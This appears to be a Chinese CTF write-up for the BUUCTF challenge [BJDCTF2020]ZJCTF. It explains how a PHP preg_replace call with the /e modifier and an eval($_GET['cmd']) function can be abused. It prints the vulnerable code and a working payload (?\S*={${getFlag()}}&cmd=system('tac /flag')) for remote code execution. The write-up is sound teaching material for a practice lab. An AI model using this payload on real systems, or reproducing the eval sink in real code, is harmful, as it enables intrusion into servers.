当前位置: 首页 > news >正文

BUU-[BJDCTF2020]ZJCTF,不过如此

BUU-[BJDCTF2020]ZJCTF,不过如此

//next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str)
{return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach ($_GET as $re => $str) {echo complex($re, $str) . "\n";
}function getFlag()
{@eval($_GET['cmd']);
}

解释一下在正则表达式中()的一个作用: 捕获

<?php
preg_replace('/(' . "dir" . ')/ei','system("\\1")',"dir"
);/*
1.在subject中寻找dir字符串
2. 找到了!而且因为在正则中使用了()进行包围, 所以会对捕获进行记录, 其中\1对应的就是捕获到的第一个记录, 也就是dir
3. 因为设置了/e, 所以preg_replace在进行替换之前会eval第二个参数
4. 实际上执行的是system("dir")
*/
简单的就是因为在正则中加入了(),所以会对捕获进行记录,类似于数组的键值对,\1对应的就是第一个捕获,\2就是第二个捕获

所以我们理所当然的认为payload可以这样构造:
?.*={${phpinfo()}}
在解释这个payload不行之前说明一下{${phpinfo()}}的作用:
php会认为{${}}里面的内容是一个表达式, 会先执行表达式的内容,当然了, 如果是使用单引号包围就不行, 因为单引号的内容会被当作是纯静态字符

至于为什么这个payload不行, 是因为php会对GET传入的键值对进行规范化, 会把不规范的字符规范为_, 所以实际上是_*={${phpinfo()}}

正确的payload是:?\S*={${getFlag()}}&cmd=system('tac /flag');
在正则表达式中: \S表示的是匹配任意的非空白字符
执行的流程是:
1.

function complex($re, $str)
{return preg_replace('/(\S*)/ei','strtolower("\\1")',"{${getFlag()}}");
}
  1. 捕获到了{${getFlag()}}
  2. \1 -> {${getFlag()}}
  3. strtolower("{${getFlag()}}")
  4. php对表达式进行解析: getFlag()